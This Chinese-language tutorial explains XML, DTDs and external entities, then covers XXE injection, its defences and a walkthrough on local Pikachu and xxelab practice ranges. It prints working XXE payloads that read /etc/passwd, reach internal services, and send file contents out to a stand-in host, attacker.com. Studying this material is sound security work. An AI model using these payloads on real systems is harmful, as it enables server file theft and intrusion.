一、XML 基础结构
XML(Extensible Markup Language)是一种 用于存储和传输数据的标记语言。
示例
<?xml version="1.0" encoding="UTF-8"?>
<user>
<name>Alice</name>
<age>20</age>
</user>
组成:
| 部分 | 作用 |
|---|---|
<?xml ...?> |
声明 |
<user> |
根节点 |
<name> |
元素 |
Alice |
数据 |
XML特点:
- 必须有 一个根节点
- 标签 必须闭合
- 区分大小写
二、DTD(Document Type Definition)
XXE漏洞的核心几乎都和 DTD 有关。
DTD 用来 定义 XML 的结构和规则。
示例
<!DOCTYPE user [
<!ELEMENT user (name, age)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
解析:
| 语句 | 含义 |
|---|---|
<!DOCTYPE user> |
声明DTD |
<!ELEMENT> |
定义元素 |
#PCDATA |
文本数据 |
DTD可以 内联 或 外部引用。
三、实体(Entity)
实体是 DTD中最关键的部分,也是XXE漏洞利用的核心。
实体类似 变量替换。
内部实体
<!DOCTYPE user [
<!ENTITY name "Alice">
]>
<user>
<name>&name;</name>
</user>
解析后:
Alice
四、外部实体(External Entity)
外部实体可以引用 本地文件 / URL。
这就是 XXE漏洞的来源。
示例
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
&xxe;
</data>
如果解析器允许外部实体,就会读取:
/etc/passwd
然后返回内容。
五、XXE漏洞原理
XXE(XML External Entity Injection)
本质:
XML解析器解析外部实体 → 攻击者控制实体 → 读取服务器资源
典型流程:
- 应用接收 XML
- XML解析器解析DTD
- 外部实体被加载
- 服务器文件被读取
六、最常见的XXE攻击方式
1 读取服务器文件
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
2 SSRF(访问内网)
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>
&xxe;
</foo>
服务器会访问:
http://127.0.0.1:8080/admin
3 OOB XXE(带外攻击)
当数据无法直接回显时:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
%xxe;
]>
服务器会去请求攻击者服务器。
4 读取文件并外带
攻击者服务器:
http://attacker.com
DTD:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
七、容易出现XXE漏洞的场景
常见解析器:
| 语言 | 库 |
|---|---|
| Java | DOM4J / SAX / JAXP |
| Python | lxml |
| PHP | SimpleXML |
| .NET | XmlDocument |
常见接口:
- SOAP
- SAML
- XML API
- 文件上传
八、防御XXE漏洞
核心原则:
1 禁用外部实体
Java示例:
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);
2 禁用外部DTD
external-general-entities = false
external-parameter-entities = false
3 使用安全解析库
例如:
Python
from defusedxml import ElementTree
九、一个完整XXE payload示例
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
&xxe;
</root>
如果存在漏洞:
服务器返回:
root:x:0:0:root:/root:/bin/bash
靶场练习
Pikachu
-
输入如下xml代码:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY file "hello"> ]> <root> <file>&file;</file> </root>输出结果如下:

没有输出,应该是blind xxe. -
检查xml是否支持外部实体访问网络:
- 打开网站
dnslog.cn,点击Get SubDomain,生成一个子域名

- 构造xml代码如下:
<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY url SYSTEM "http://6v3qrd.dnslog.cn"> ]> <root> <file>&url;</file> </root> - 输入到pikachu靶场,再去
dnslog.cn点击Refresh Record,显示如下:

可以看到,有访问记录,证明有xxe漏洞。
- 打开网站
XXE-lab
-
打开网页,显示如下:

在目前网页的每个input中输入不一样的值. -
开启Burp Suite抓包,得到的数据包如下:
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <root> <name>11</name> <tel>22</tel> <email>33</email> <password>44</password> </root>可以清楚的发现使用了xml来传输数据
-
直接修改http数据包
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY air "hello"> ]> <root> <name>11</name> <tel>22</tel> <email>&air;</email> <password>44</password> </root> -
response显示如下:

下面的红色字体显示出应该存在xxe漏洞。 -
读取文件:将http数据包修改为如下
POST /process.php HTTP/1.1 Host: 192.168.103.130:9040 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://192.168.103.130:9040/ Content-Type: text/plain;charset=UTF-8 Content-Length: 119 Origin: http://192.168.103.130:9040 Connection: keep-alive Cookie: PHPSESSID=n6gsq7gftgi07j42hrfqta9v46; security=low Priority: u=0 <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY air SYSTEM "file:///etc/passwd"> ]> <root> <name>11</name> <tel>22</tel> <email>&air;</email> <password>44</password> </root>红色字体已显示:

硬件及软件说明:
I.硬件(电脑)
Apple Mac mini M4 (24G)
II.软件(vmware虚拟机)
ubuntu作为靶机- IP:
192.168.103.130 - arm64
- Ubuntu 24.04.3 LTS
- IP:
kali作为攻击机- IP:
192.168.103.128 - arm64
- Kali GNU/Linux Rolling
- 浏览器:Firefox
- IP:
pikachu靶场安装
ubuntu中安装docker靶场:homins/pikachu:latest
# 拉取docker镜像
sudo docker pull hominsu/pikachu
# 为镜像创建容器,并运行
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu # pikachu 端口设为 8082
xxelab靶场安装
-
下载github库:
git clone https://github.com/jbarone/xxelab.git -
构建xxelab镜像:
sudo docker build -t xxelab . -
创建运行容器:
sudo docker run -dt --name xxelab -p 9040:80 xxelab # xxe 端口设为 9040
📌 不一定对,如有错误,欢迎指出🙂。
浙公网安备 33010602011771号